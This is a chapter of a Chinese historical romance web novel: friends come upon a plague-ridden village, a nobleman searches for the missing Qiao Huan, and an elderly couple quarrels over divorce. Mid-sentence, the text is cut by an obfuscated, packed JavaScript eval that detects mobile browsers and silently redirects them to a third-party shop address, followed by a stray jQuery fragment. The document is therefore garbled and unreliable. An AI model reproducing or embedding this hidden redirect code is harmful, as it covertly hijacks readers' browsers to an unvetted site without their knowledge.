黑夜悄无声息降临在密林间，周遭顿时凉飕飕的，风吹拂过脸颊，有若女鬼缠身，朝着你的后颈丝丝吹吐阴气。董明一把老骨头直打颤，听到郑希建议去尹家村，他当即本着“不在其位不谋其政”的原则，称自己是董家村长不好插手尹家村事，飞也似的下山而去。
乔欢自然陪伴郑希到底。三人沿着河道一路下行，河水在山口处分叉，向右流经董家村，称董家河，向左流经尹家村，称尹家河。三人朝左行去，没有月光的照明，山路走得十分艰难，只能凭借着哗啦流水声辨别方位。
按理来说，下山应当走得快些，村庄傍河而建，但走了许久都不曾瞧见半盏灯火，乔欢不禁怀疑：“咱们是不是走错路了？”
“顺着河道走，不该走错的。”郑希之前义诊来过几次，熟门熟路，举目漆黑一片的情形也令他心下惴惴。
太过诡异，牟迟腰刀出鞘，忽听“哗、哗、哗”的声响由远及近，像是有人踩着石子行走。
“前边。”牟迟敏锐辨别出方位，深浓夜色中，一道模糊的人形轮廓随着距离的拉近而逐渐清晰。在看清来人的一刹那，高度的警惕瞬间转为重逢的惊喜，乔欢惊呼：“阿福！”
*
几日的功夫，疫病席卷了整个尹家村。起先病患只是腹泻不止，后来有人出现高热，严重者甚至昏厥，不少老人一觉睡去就再没有醒过来。
“你们为何不像董家村民一样，进城去问心医馆？”乔欢问阿福。
阿福回道：“起先去过，但后来冯县令知晓俺们村儿的情况，就请了妙手仙人来问诊，也不要钱。”
妙手仙人？乔欢一怔，“他不是入狱了吗？”当初齐壶教唆董大夫妇去问心医馆闹事，因此而入狱，他又为何会在尹家村？
“齐大夫是不可多得的妙手神医。”阿福从乔欢身上移开目光，望向无垠苍穹，用背书的语气淡道，“县令命他将功折罪，得亏了齐大夫，要不然，俺们村儿的人，早死光了。”
乔欢隐约觉得阿福状态不太对，却又讲不好哪里不对，只心叹道：齐壶倒还真有两把刷子，他算是改邪归正了么？乔欢伸手挑去阿福身上不知从何处粘上的杂草，“天这么黑，你一个人是要去何处？”
*
往上游走一小段路，有一处远离人烟的地方。那里，茅草搭起牛棚猪圈，原本是村民圈养牲畜的场地，现在，一间间小隔间中却不见牲畜的影子，而是打通墙体，铺满草席，数不清的病患不分男女老少，皮挨着皮躺在一起，哀叫呻.吟。
“俺们管这儿叫阎王殿，病重的都在这儿呢。”阿福道。
阎王殿，顾名思义，只进不出。隔着一道低矮土墙，墙内有许多口遮面巾的护卫，有的负责把守，有的则负责搬运尸体。将死未死的、死透的，俱是草席一卷，“殿”后挖有深坑，专门掩埋病死的尸体。
“他们都是县令派来防疫的小吏。”阿福解释道。她两手扒住土墙，努力踮脚，想让自己看到牛棚底下更多的景象，“欢妹妹，上次你见过的尹二哥就在这儿……”尾音有些哽咽。
尹二。乔欢眼前浮现出男子打着赤膊的宽肩以及朴实憨厚的笑，还有他看向阿福时，温柔清澈的目光。
难怪阿福会独自夜行来到旁人避之不及的“阎王殿”。生离死别，总令人想再多看对方一眼。但四处都有守卫，显然容不得生人入内。纵然无人看守，乔欢也不可能放任阿福不顾性命去见尹二。
借着棚下昏暗的油灯，乔欢勉强可以看清灯下病患的形态。那简直不能称为人！不知为何他裸着上半身，只见小腹是干瘪的，肋骨根根分明，与白骨相比，仅仅多了层干皮而已。
郑希脸色紧绷，呼吸因粗重而在静夜里十分明显。他握紧药箱带道：“多谢欢娘子与牟兄弟一路相护，我乃医者，遭此大疫，实不能袖手旁观。”
乔欢怎能不知郑希的想法。尹家村只有齐壶一位大夫，多郑希一人，就能多救数条人命。想了想，她道：“让牟迟陪你去吧。”
齐壶对郑希从前就没安好心，乔欢总也不相信，半月前还拿百姓性命陷害同行之人，牢狱里头转一圈就突然转性做菩萨了。
墙内的小吏虽然整日接触病患，但他们仍是十分康健，可见做好防护就不会危及性命，牟迟体格健壮自然不会轻易中招。派他守着郑希，出了事也好有个照应。
牟迟担心道：“那小姐怎么办？”
“放心，尹家村俺熟得很，有俺陪着，欢妹妹不会出事的。”阿福突然道，她挎住乔欢胳膊，一笑，或许是光线的缘故，落在乔欢眼中，远不如上次分别时，灿烂阳光下那般明媚自然。
那种说不清道不明的怪异感再度浮上乔欢心头，分别没多久，但阿福好似变了许多，或许一场疫病令她经历了许多才会如此吧。乔欢压下心头的异样，朝牟迟点点头，示意他放心。
阿福又道：“刚好也说说话，好不容易见一面，往后……”目光投向灯火通明的“阎王殿”，远处高山危耸，仿若一张吃人巨口，而世人陷在其中，挣扎着等待被吞噬的命运降临。她轻喃道：“还有什么往后呢？”
话语揉碎在晚风中，乔欢没能听见。
*
“就你这磨叽性子，我要是个小娘子，别说跑，给你两巴掌都是轻的。”
“一寸光阴一寸金，寸金难买寸光阴。耽误人家觅夫婿，老三啊老三，天打雷劈都不为过。”
“人家欢娘子，长得漂亮，性情也好，怎么也不缺你这个闷葫芦，指不定现在左拥右抱择佳婿呢，兄弟劝你放弃算了，免得看见些不该看的，一病不起了怎么办？身边连个照顾的人都没有，多可怜……”
陆庸边走边翘着嘴角挖苦自己的结拜兄弟。秦世卿呢，抿唇抿到发青，比起他，陆庸算是半个情场圣手，小娘子的心思摸的总比他准，难不成乔欢之所以不告而别，是因为他的优柔寡断而厌烦了他？
说错的话可以解释清楚，但对一个人本性的厌恶，往往难以消除。
仿佛哗啦一桶冰倾倒下来，秦世卿可怜巴巴的希望小火苗噗得灭了个彻底。他沉声道：“她恐怕出事了。”
闻言，陆庸收敛起玩笑，“怎么回事？”
秦世卿把邓洛书的话原原本本告诉了陆庸。对于这个不算亲近的表妹，秦世卿了解不多，但事关乔欢安危，他还是习惯把事情往最坏处想。
靳忠匆匆来报：“家主，欢娘子常去的几处地方都找过了，还是没找见人。”
陆庸反应极快，“你们接着在城中找，老三，你画副欢娘子的小像，我派人拿去问问守城的人有没有见过。”
话音未落，看门的小厮一路小跑到了跟前，“家主，陆将军。方才县令府身边的长随来报，说董家村那边出了事，尹家村也等着他亲自去查探清楚是个什么情况，故而无法设宴款待陆将军，还请将军见谅。”
陆庸是从肃
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14228536|137038||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
州折返回俪城，路过宣州，本没打算拜访好友，谁知在街上听见秦世卿不日即将大婚的传闻，这才耽搁行程，迫不及待来向这位疑似开花的铁树求证。他摆摆手，“告诉县令，不必挂心。董家村那边出什么事儿了？”
“说是山上发现了成堆的尸体，村长亲眼瞧见的，听说是西迟人干的。”
听见“西迟”二字，陆庸瞬间警觉，目光锐利，盯得小厮心里直发毛，“县令起先还以为他撒谎，但那村长起了毒誓，说除了他，问心医馆的郑大夫并他的两位好友也瞧……”
“郑大夫？两位好友？”秦世卿的关注点与陆庸不同，他心念微动，“可有说另两位好友姓甚名谁？从何处来，又到何处去？”郑希平素寡言，相识的时日里，除了乔欢，没见谁还能称为他的朋友。
小厮歪脑袋想了想，“好像没提到。”
“备马，去董家村。”秦世卿道，陆庸惊讶得张大了嘴巴，“你不是说小时候从马上跌下来过，不会骑的吗？”
秦世卿仿佛没听见，大步朝外走去。
陆庸加快步伐跟上他，笑道：“明明就是看上人家小娘子了，还跟我死鸭子嘴硬。哎呀，就该让欢娘子好生治治你这个毛病……”突然，不知从何处飘来的女子尖叫声打断了陆庸的话，仔细听，比起尖叫其实更像是嘶吼，秦世卿是司空见惯，随口道：“夫妻吵架而已，见笑。”
*
萱宁堂。
秦老夫人将手中的薄纸撕得粉碎，“秦远道，想和离，门儿都没有！”
秦远道神态自若，“不要和离书，那就只有休书可拿了。念在咱们夫妻多年的份儿上，别闹那么难看。”说着，他冲面前鸟笼“蛐蛐”两声，手中逗鸟棒逗得翠鸟满笼子乱跳。“不和离，你们邓氏惹的祸，还想牵连秦家么？”
他想的明白，虽说嫁出去的女儿泼出去的水，但秦老夫人与邓洛书半年来过从甚密，难保县令不会多想。此时不找秦家清算，不代表未来也不会。与邓家连着血脉的人，还是趁早清干净的好，免得连累整个秦家！
看见同床共枕多年的丈夫眼底的冷漠，秦老夫人不再大喊大叫，只觉得浑身上下都浸满了疲惫。她轻嗤了一声，他自己也说不上来，这一声轻嗤是在嘲讽秦远道的薄情，还是自己多年来的可笑。
“秦远道啊秦远道，你要是个时时刻刻为秦家好的人，老家主会越了你传位给孙子？我呸！”她朝着秦远道狠啐一口，“收起你那副善人模样，没得叫人瞧见恶心！不就是怕人在你背后指指点点，说你娶了个坏心的女人当夫人吗？还假惺惺和离谈什么夫妻恩情。想像当年你嘴上说着护卿儿周全，转头就害了她亲娘。从那儿我就该知道，这报应，早晚有一天得落到自个儿头上来!”
想当初，秦远道许她秦夫人的身份，附加的条件是秦世卿的平安长大。高门宅院，继母为了亲儿残害继子的事并不少见，秦远道的原话是：倘若卿儿出事，不论是谁所为，他都会算在她的头上。
因着这句话，多少年来她从没起过害秦世卿的念头，甚至烧香拜佛都要祈求佛祖保他长命百岁，至于家主之位，她压根儿没动过帮秦世琛上位的念头。
否则，凭她的手段，无声无息让一个丧母的小娃娃消失还是很容易的，秦世卿何以能够平安长到现在！
秦远道似乎是被刺激到了，他一把摔了鸟笼，吼道：“不是我杀的！那女人自己生产亏了身子，干我何事！？”